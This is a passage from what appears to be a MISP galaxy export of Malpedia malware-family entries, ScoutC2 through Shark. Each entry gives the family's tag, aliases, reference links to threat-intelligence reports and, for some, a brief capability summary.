https://asec.ahnlab.com/en/57685/

ScoutC2

The tag is: *misp-galaxy:malpedia="ScoutC2"*

ScoutC2 is also known as:

Table 5062. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.scoutc2
https://github.com/Censys-Research/ScoutC2

Scranos

The tag is: *misp-galaxy:malpedia="Scranos"*

Scranos is also known as:

Table 5063. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.scranos
https://www.bitdefender.com/files/News/CaseStudies/study/271/Bitdefender-Whitepaper-Scranos-2.pdf
https://labs.bitdefender.com/2019/04/inside-scranos-a-cross-platform-rootkit-enabled-spyware-operation/
https://vblocalhost.com/uploads/VB2020-Karve-Urgilez.pdf

ScreenCap

SentinelOne describes this malware as capable of doing screen capture and keylogging. It is uses by a threat cluster they named WIP19, targeting telecommunications and IT service providers in the Middle East and Asia.

The tag is: *misp-galaxy:malpedia="ScreenCap"*

ScreenCap is also known as:

Table 5064. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.screencap
https://www.sentinelone.com/labs/wip19-espionage-new-chinese-apt-targets-it-service-providers-and-telcos-with-signed-malware/

ScreenLocker

The tag is: *misp-galaxy:malpedia="ScreenLocker"*

ScreenLocker is also known as:

Table 5065. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.screenlocker
https://twitter.com/struppigel/status/791535679905927168

ScrubCrypt

ScrubCrypt is the rebranded "Jlaive" crypter, with a unique capability of .BAT packing

The tag is: *misp-galaxy:malpedia="ScrubCrypt"*

ScrubCrypt is also known as:

Table 5066. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.scrubcrypter
https://perception-point.io/blog/the-rebranded-crypter-scrubcrypt/
https://0xtoxin.github.io/threat%20breakdown/ScrubCrypt-Rebirth-Of-Jlaive/
https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/scrubcrypt-the-rebirth-of-jlaive

SDBbot

The tag is: *misp-galaxy:malpedia="SDBbot"*

SDBbot is also known as:

Table 5067. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sdbbot
https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546

https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do
https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/
https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.96_ENG.pdf
https://intel471.com/blog/a-brief-history-of-ta505
https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://vblocalhost.com/uploads/VB2020-Jung.pdf
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://www.secureworks.com/research/threat-profiles/gold-tahoe
https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader
https://www.cyber.gov.au/acsc/view-all-content/alerts/sdbbot-targeting-health-sector
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://github.com/Tera0017/SDBbot-Unpacker
https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.telekom.com/en/blog/group/article/inside-of-cl0p-s-ransomware-operation-615824

SEADADDY

Backdoor written in Python 2, deployed with PyInstaller.

The tag is: *misp-galaxy:malpedia="SEADADDY"*

SEADADDY is also known as:

- SeaDuke
- Seadask

Table 5068. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.seadaddy
https://unit42.paloaltonetworks.com/unit-42-technical-analysis-seaduke/
https://www.cyborgsecurity.com/cyborg_labs/python-malware-on-the-rise/
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=6ab66701-25d7-4685-ae9d-93d63708a11c&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html

SeaSalt

The tag is: *misp-galaxy:malpedia="SeaSalt"*

SeaSalt is also known as:

Table 5069. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.seasalt
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

SecondHandTea

SecondHandTea is a full-featured Remote Access Trojan (RAT), closely related to BackbitingTea, the flagship backdoor used in the DangerousPassword campaigns (also known as SnatchCrypto).

Both malware families appear to share a common codebase and are compiled within the same build environment.

While they share most core functionality and supported commands, SecondHandTea differs from BackbitingTea variants in several technical aspects:

- Configuration file paths
- Network libraries: OpenSSL 1.1.0f vs. wolfSSL or Winsock TCP/IP
- Encryption algorithms: AES-256 vs. RC4
- Compression methods: LZ4 vs. ZIP

These differences suggest active development and customization efforts tailored to specific operational needs.

The malware's name was inferred from its internal filename: SecondT_x64.exe.

Between H2 2022 and Q1 2023, SecondHandTea was observed in targeted attacks against entities involved in cryptotrading and blockchain technology, indicating a continued focus on financially motivated cyber operations.

The tag is: *misp-galaxy:malpedia="SecondHandTea"*

SecondHandTea is also known as:

Table 5070. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.secondhandtea
https://www.virusbulletin.com/uploads/pdf/conference/vb2023/papers/Lazarus-campaigns-and-backdoors-in-2022-2023.pdf
https://web-assets.esetstatic.com/wls/2023/01/eset_apt_activity_report_t32022.pdf

SectopRAT

SectopRAT, aka ArechClient2, is a .NET RAT with numerous capabilities including multiple stealth functions. Arechclient2 can profile victim systems, steal information such as browser and crypto-wallet data, and launch a hidden secondary desktop to control browser sessions. Additionally, it has several anti-VM and anti-emulator capabilities.

The tag is: *misp-galaxy:malpedia="SectopRAT"*

SectopRAT is also known as:

- 1xxbot
- ArechClient

Table 5071. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sectop_rat
https://www.elastic.co/security-labs/a-wretch-client
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-widely-abused-msix-app-installer-disabled-by-microsoft-active-iocs
https://www.gdatasoftware.com/blog/2021/02/36633-new-version-adds-encrypted-communication
https://medium.com/@joshuapenny88/hostinghunter-series-chang-way-technologies-co-limited-a9ba4fce0f65
https://medium.com/@gi7w0rm/a-long-way-to-sectoprat-eb2f0aad6ec8
https://tampabay.tech/2022/11/30/arechclient2/
https://www.cisecurity.org/insights/blog/top-10-malware-march-2022
https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks

https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/
https://cyberflorida.org/2022/11/arechclient2/
https://dr4k0nia.github.io/posts/Analysing-a-sample-of-ArechClient2/
https://www.gdatasoftware.com/blog/2019/11/35548-new-sectoprat-remote-access-malware-utilizes-second-desktop-to-control-browsers
https://medium.com/@sarviyamalwareanalyst/sectoprat-a-dangerous-remote-access-trojan-spreading-through-google-fake-ads-0c43a15c1cd8
https://vxhive.blogspot.com/2021/01/deep-dive-into-sectoprat.html
https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/
https://medium.com/walmartglobaltech/arechclient-decoding-iocs-and-finding-the-onboard-browser-extension-477f8796568d
https://cdn-production.blackpointcyber.com/wp-content/uploads/2022/11/01161208/Blackpoint-Cyber-Ratting-out-Arechclient2-Whitepaper.pdf

SeDll

The tag is: *misp-galaxy:malpedia="SeDll"*

SeDll is also known as:

Table 5072. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sedll
https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets
https://www.recordedfuture.com/chinese-threat-actor-tempperiscope/
https://www.secureworks.com/research/threat-profiles/bronze-mohawk
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

Sedreco

The tag is: *misp-galaxy:malpedia="Sedreco"*

Sedreco is also known as:

- azzy
- eviltoss

Table 5073. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sedreco
https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/
http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf
http://www.malware-reversing.com/2012/12/3-disclosure-of-another-0day-malware_15.html
https://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-pawn-storm.pdf
https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf
https://www.secureworks.com/research/threat-profiles/iron-twilight
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html

Seduploader

simple tool to facilitate download and persistence of a next-stage tool; collects system information and metadata probably in an attempt to tell sandbox-environments apart from real targets on the server-side; uses domains of search engines like Google to check for Internet connectivity; XOR-based string obfuscation with a 16-byte key

The tag is: *misp-galaxy:malpedia="Seduploader"*

Seduploader is also known as:

- GAMEFISH
- carberplike
- downrage
- jhuhugit
- jkeyskw

Table 5074. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.seduploader
https://www.welivesecurity.com/2017/05/09/sednit-adds-two-zero-day-exploits-using-trumps-attack-syria-decoy/
http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-flash-zero-day-used-in-pawn-storm-campaign/
https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf

https://researchcenter.paloaltonetworks.com/2016/06/unit42-new-sofacy-attacks-against-us-government-agency/
https://blog.yoroi.company/research/apt28-and-upcoming-elections-possible-interference-signals-part-ii/
https://securelist.com/a-slice-of-2017-sofacy-activity/83930/
https://blog.xpnsec.com/apt28-hospitality-malware-part-2/
https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html
http://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html
https://www.secureworks.com/research/threat-profiles/iron-twilight
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
http://www.welivesecurity.com/2015/07/10/sednit-apt-group-meets-hacking-team/
https://www.emanueledelucia.net/apt28-sofacy-seduploader-under-the-christmas-tree/
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
https://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-pawn-storm.pdf
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/
https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government
https://www.proofpoint.com/us/threat-insight/post/apt28-racing-exploit-cve-2017-11292-flash-vulnerability-patches-are-deployed

seinup

The tag is: *misp-galaxy:malpedia="seinup"*

seinup is also known as:

Table 5075. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.seinup
https://www.fireeye.com/blog/threat-research/2013/06/trojan-apt-seinup-hitting-asean.html

Sekhmet

According to PCrisk, Sekhmet is ransomware. This malicious program operates by encrypting data and demanding ransom payments for decryption. During the encryption process, all affected files are appended with an extension, consisting of random characters (e.g. ".HrUSsw", ".WNgh", ".NdWfEr", etc.).

The tag is: *misp-galaxy:malpedia="Sekhmet"*

Sekhmet is also known as:

Table 5076. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sekhmet
https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/
https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/
https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/
https://id-ransomware.blogspot.com/2020/03/sekhmet-ransomware.html
https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html
https://blog.minerva-labs.com/egregor-ransomware-an-in-depth-analysis

SelfMake Loader

The tag is: *misp-galaxy:malpedia="SelfMake Loader"*

SelfMake Loader is also known as:

Table 5077. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.selfmake
https://twitter.com/8th_grey_owl/status/1481433481485844483
https://jp.security.ntt/resources/EN-BlackTech_2021.pdf

SendSafe

The tag is: *misp-galaxy:malpedia="SendSafe"*

SendSafe is also known as:

Table 5078. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.sendsafe
https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf
https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618

SepSys

Ransomware.

The tag is: *misp-galaxy:malpedia="SepSys"*

SepSys is also known as:

- Silvertor Ransomware

Table 5079. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sepsys
https://id-ransomware.blogspot.com/2020/02/sepsys-ransomware.html

Sepulcher

The tag is: *misp-galaxy:malpedia="Sepulcher"*

Sepulcher is also known as:

Table 5080. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sepulcher
https://www.proofpoint.com/us/blog/threat-insight/chinese-apt-ta413-resumes-targeting-tibet-following-covid-19-themed-economic
https://www.proofpoint.com/us/blog/threat-insight/ta413-leverages-new-friarfox-browser-extension-target-gmail-accounts-global

SerialVlogger

This malware is protected using VMProtect and related to the loading of KEYPLUG.

The tag is: *misp-galaxy:malpedia="SerialVlogger"*

SerialVlogger is also known as:

Table 5081. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.serialvlogger	
https://www.malwarebytes.com/blog/threat-intelligence/2022/winnti-apt-group-docks-in-sri-lanka-for-new-campaign-final.pdf	

Serpent Stealer

The tag is: *misp-galaxy:malpedia="Serpent Stealer"*

Serpent Stealer is also known as:

Table 5082. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.serpent
https://labs.k7computing.com/index.php/uncovering-the-serpent/

Serpico

The tag is: *misp-galaxy:malpedia="Serpico"*

Serpico is also known as:

Table 5083. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.serpico

ServHelper

ServHelper is written in Delphi and according to ProofPoint best classified as a backdoor.

ProofPoint noticed two distinct variant - "tunnel" and "downloader" (citation): "The 'tunnel' variant has more features and focuses on setting up reverse SSH tunnels to allow the threat actor to access the infected host via Remote Desktop Protocol (RDP). Once ServHelper establishes remote desktop access, the malware contains functionality for the threat actor to 'hijack' legitimate user accounts or their web browser profiles and use them as they see fit. The 'downloader' variant is stripped of the tunneling and hijacking functionality and is used as a basic downloader."

The tag is: *misp-galaxy:malpedia="ServHelper"*

ServHelper is also known as:

Table 5084. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.servhelper

https://www.cybereason.com/blog/threat-actor-ta505-targets-financial-enterprises-using-lolbins-and-a-new-backdoor-malware

https://www.prodaft.com/m/reports/TeslaGun_TLPWHITE.pdf

https://blog.trendmicro.com/trendlabs-security-intelligence/ta505-at-it-again-variety-is-the-spice-of-servhelper-and-flawedammyy/

https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/

https://securitynews.sonicwall.com/xmlpost/servhelper-2-0-enriched-with-bot-capabilities-and-allow-remote-desktop-access/

https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505

https://e.cyberint.com/hubfs/Report%20Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors%20Tools/CyberInt_Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors'%20Tools_Report.pdf

https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf

https://prodaft.com/m/reports/TeslaGun_TLPWHITE.pdf

https://www.binarydefense.com/an-updated-servhelper-tunnel-variant/

https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/

https://medium.com/walmartglobaltech/ta505-adds-golang-crypter-for-delivering-miners-and-servhelper-af70b26a6e56

https://intel471.com/blog/a-brief-history-of-ta505

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf

https://www.gdatasoftware.com/blog/2020/07/36122-hidden-miners

https://www.secureworks.com/research/threat-profiles/gold-tahoe

https://insights.oem.avira.com/ta505-apt-group-targets-americas/

https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/servhelper-evolution-and-new-ta505-campaigns/

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part2/

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf

https://blog.talosintelligence.com/2021/08/raccoon-and-amadey-install-servhelper.html

https://threatrecon.nshc.net/2019/08/29/sectorj04-groups-increased-activity-in-2019/

https://ti.360.net/blog/articles/excel-4.0-macro-utilized-by-ta505-to-target-financial-institutions-recently-en/

SessionManager

A malicious IIS module that allows up/download of files, remote command execution, and using the compromised server as a hop into the network behind.

The tag is: *misp-galaxy:malpedia="SessionManager"*

SessionManager is also known as:

Table 5085. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.session_manager
https://securelist.com/the-sessionmanager-iis-backdoor/106868/

Sfile

Ransomware

The tag is: *misp-galaxy:malpedia="Sfile"*

Sfile is also known as:

- Escal
- Morseop

Table 5086. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sfile
https://twitter.com/GrujaRS/status/1296856836944076802?s=20
https://www.sentinelone.com/blog/from-the-front-lines-another-rebrand-mindware-and-sfile-ransomware-technical-breakdown/
https://id-ransomware.blogspot.com/2020/02/sfile2-ransomware.html

shadowhammer

The tag is: *misp-galaxy:malpedia="shadowhammer"*

shadowhammer is also known as:

- DAYJOB

Table 5087. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowhammer

https://securelist.com/apt-trends-report-q2-2020/97937/
https://www.vkremez.com/2019/03/lets-learn-dissecting-operation.html
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Winnti.pdf
https://securelist.com/operation-shadowhammer/89992/
https://countercept.com/blog/analysis-shadowhammer-asus-attack-first-stage-payload/
https://www.youtube.com/watch?v=T5wPwvLrBYU
https://norfolkinfosec.com/possible-shadowhammer-targeting-low-confidence/
https://blog.f-secure.com/a-hammer-lurking-in-the-shadows/
https://blog.reversinglabs.com/blog/forging-the-shadowhammer
https://labsblog.f-secure.com/2019/03/29/a-hammer-lurking-in-the-shadows
https://norfolkinfosec.com/the-first-stage-of-shadowhammer/
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://mauronz.github.io/shadowhammer-backdoor
https://securelist.com/operation-shadowhammer-a-high-profile-supply-chain-attack/90380/
https://skylightcyber.com/2019/03/28/unleash-the-hash-shadowhammer-mac-list/
https://www.trendmicro.com/en_us/research/19/d/analyzing-c-c-runtime-library-code-tampering-in-software-supply-chain-attacks.html

ShadowPad

The tag is: *misp-galaxy:malpedia="ShadowPad"*

ShadowPad is also known as:

- POISONPLUG.SHADOW
- XShellGhost

Table 5088. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad
https://www.ptsecurity.com/upload/corporate/ru-ru/pt-esc/winnti-2020-rus.pdf
https://hub.dragos.com/hubfs/333%20Year%20in%20Review/2021/2021%20ICS%20OT%20Cybersecurity%20Year%20In%20Review%20-%20Dragos%202021.pdf
https://cloud.google.com/blog/topics/threat-intelligence/scatterbrain-unmasking-poisonplug-obfuscator
https://www.youtube.com/watch?v=i52MH-YFEeo
https://conference.hitb.org/hitbsecconf2021sin/materials/D1T1%20-%20%20ShadowPad%20-%20A%20Masterpiece%20of%20Privately%20Sold%20Malware%20in%20Chinese%20Espionage%20-%20Yi-Jhen%20Hsieh%20&%20Joey%20Chen.pdf

https://go.recordedfuture.com/hubfs/reports/ta-2022-0406.pdf
https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf
https://www.youtube.com/watch?v=_fstHQSK-kk
https://www.trendmicro.com/en_us/research/19/d/analyzing-c-c-runtime-library-code-tampering-in-software-supply-chain-attacks.html
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf
https://www.youtube.com/watch?v=-7Swd1ZetiQ
https://st.drweb.com/static/new-www/news/2020/october/Study_of_the_ShadowPad_APT_backdoor_and_its_relation_to_PlugX_en.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt41-indictments-china-espionage
https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/
https://securelist.com/operation-shadowhammer-a-high-profile-supply-chain-attack/90380/
https://blog-en.itochuci.co.jp/entry/2024/05/23/090000
https://blogs.vmware.com/security/2022/10/threat-analysis-active-c2-discovery-using-protocol-emulation-part3-shadowpad.html
https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns
https://therecord.media/redecho-group-parks-domains-after-public-exposure/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lancefly-merdoor-zxshell-custom-backdoor
https://www.trendmicro.com/en_us/research/24/c/earth-krahang.html
https://labs.sentinelone.com/shadowpad-a-masterpiece-of-privately-sold-malware-in-chinese-espionage/
https://medium.com/insomniacs/its-a-bee-it-s-a-no-it-s-shadowpad-aff6a970a1c2
https://www.recordedfuture.com/continued-targeting-of-indian-power-grid-assets/
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.secureworks.com/research/shadowpad-malware-analysis
https://harfanglab.io/en/insidethelab/isoon-leak-analysis/
https://go.recordedfuture.com/hubfs/reports/cta-2023-0808.pdf
https://www.youtube.com/watch?v=JF86NQG7M6U
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf
https://www.welivesecurity.com/2020/01/31/winnti-group-targeting-universities-hong-kong/

https://www.crowdstrike.com/blog/adversaries-targeting-the-manufacturing-industry/

https://www.sentinelone.com/wp-content/uploads/2021/08/SentinelOne_-SentinelLabs_ShadowPad_WP_V2.pdf

https://attack.mitre.org/groups/G0096

https://www.youtube.com/watch?v=55kaaMGBARM

https://github.com/cert-orangecyberdefense/cti/tree/main/green_nailao

https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf

https://www.trendmicro.com/en_us/research/23/g/supply-chain-attack-targeting-pakistani-government-delivers-shad.html

https://www.virusbulletin.com/uploads/pdf/conference/vb2023/slides/Slides-Possible-supply-chain-attack-targeting-South-Asian-government-delivers-Shadowpad.pdf

https://www.youtube.com/watch?v=r1zAVX_HnJg

https://ics-cert.kaspersky.com/publications/reports/2022/06/27/attacks-on-industrial-control-systems-using-shadowpad/

https://www.trendmicro.com/en_us/research/25/b/updated-shadowpad-malware-leads-to-ransomware-deployment.html

https://speakerdeck.com/aragorntseng/winnti-is-coming-evolution-after-prosecution-at-hitcon2021

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments

https://securelist.com/apt-trends-report-q2-2020/97937/

https://www.reliaquest.com/blog/anxun-and-chinese-apt-activity/

https://blog.talosintelligence.com/chinese-hacking-group-apt41-compromised-taiwanese-government-affiliated-research-institute-with-shadowpad-and-cobaltstrike-2/

https://www.virusbulletin.com/uploads/pdf/conference/vb2022/slides/VB2022-Tracking-the-entire-iceberg.pdf

https://www.welivesecurity.com/2022/09/06/worok-big-picture/

https://www.youtube.com/watch?v=qk9XLDBLPXg

https://cdn.securelist.com/files/2017/08/ShadowPad_technical_description_PDF.pdf

https://www.orangecyberdefense.com/global/blog/cert-news/meet-nailaolocker-a-ransomware-distributed-in-europe-by-shadowpad-and-plugx-backdoors

https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Winnti.pdf

https://www.virusbulletin.com/uploads/pdf/conference/vb2022/papers/VB2022-Tracking-the-entire-iceberg-long-term-APT-malware-C2-protocol-emulation-and-scanning.pdf

https://vms.drweb.com/virus/?i=21995048

https://www.ic3.gov/Media/News/2021/211220.pdf

https://www.ptsecurity.com/upload/corporate/ru-ru/webinars/ics/winnti-shadowpad.pdf

https://www.trendmicro.com/en_us/research/25/j/premier-pass-as-a-service.html

https://www.pwc.co.uk/issues/cyber-security-services/research/chasing-shadows.html

https://securelist.com/shadowpad-in-corporate-networks/81432/

https://hunt.io/blog/state-sponsored-activity-gamaredon-shadowpad

https://community.riskiq.com/article/d8b749f2

https://hunt.io/blog/tracking-shadowpad-infrastructure-via-non-standard-certificates

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/

https://jsac.jpcert.or.jp/archive/2025/pdf/JSAC2025_1_5_leon-chang_theo-chen_en.pdf

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/critical-infrastructure-attacks

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/

https://thehackernews.com/2022/02/researchers-link-shadowpad-malware.html

https://www.sentinelone.com/labs/follow-the-smoke-china-nexus-threat-actors-hammer-at-the-doors-of-top-tier-targets/

https://www.youtube.com/watch?v=IRh6R8o1Q7U

https://www.theregister.com/2022/04/08/china_sponsored_attacks_india_ukraine/

https://www.recordedfuture.com/redecho-targeting-indian-power-sector/

https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf

https://www.welivesecurity.com/en/eset-research/operation-fishmedley/

https://www.youtube.com/watch?v=YCwyc6SctYs

https://www.virusbulletin.com/uploads/pdf/conference/vb2023/papers/Possible-supply-chain-attack-targeting-South-Asian-government-delivers-Shadowpad.pdf

https://www.trendmicro.com/fr_fr/research/25/b/updated-shadowpad-malware-leads-to-ransomware-deployment.html

https://unit42.paloaltonetworks.com/stately-taurus-attacks-se-asian-government/

https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf

https://www.sentinelone.com/labs/moshen-dragons-triad-and-error-approach-abusing-security-software-to-sideload-plugx-and-shadowpad/

https://research.nccgroup.com/2022/09/30/a-glimpse-into-the-shadowy-realm-of-a-chinese-apt-detailed-analysis-of-a-shadowpad-intrusion/

https://go.recordedfuture.com/hubfs/reports/cta-2024-1209.pdf

https://securelist.com/apt-trends-report-q3-2020/99204/

https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan/

Shadow RAT

The tag is: *misp-galaxy:malpedia="Shadow RAT"*

Shadow RAT is also known as:

Table 5089. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shadow_rat
https://www.seqrite.com/blog/ung0002-espionage-campaigns-south-asia/

ShadyHammock

The tag is: *misp-galaxy:malpedia="ShadyHammock"*

ShadyHammock is also known as:

Table 5090. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shady_hammock
https://www.proofpoint.com/us/blog/threat-insight/10-things-i-hate-about-attribution-romcom-vs-transferloader
https://blog.talosintelligence.com/uat-5647-romcom/

Shakti

The tag is: *misp-galaxy:malpedia="Shakti"*

Shakti is also known as:

Table 5091. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shakti
https://blog.malwarebytes.com/threat-analysis/2016/08/shakti-trojan-stealing-documents/
https://blog.malwarebytes.com/threat-analysis/2016/08/shakti-trojan-technical-analysis/amp/

SHAPESHIFT

The tag is: *misp-galaxy:malpedia="SHAPESHIFT"*

SHAPESHIFT is also known as:

Table 5092. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shapeshift
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html

shareip

The tag is: *misp-galaxy:malpedia="shareip"*

shareip is also known as:

- remotecmd

Table 5093. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shareip
https://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong

Shark

The tag is: *misp-galaxy:malpedia="Shark"*

Shark is also known as:

Table 5094. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shark
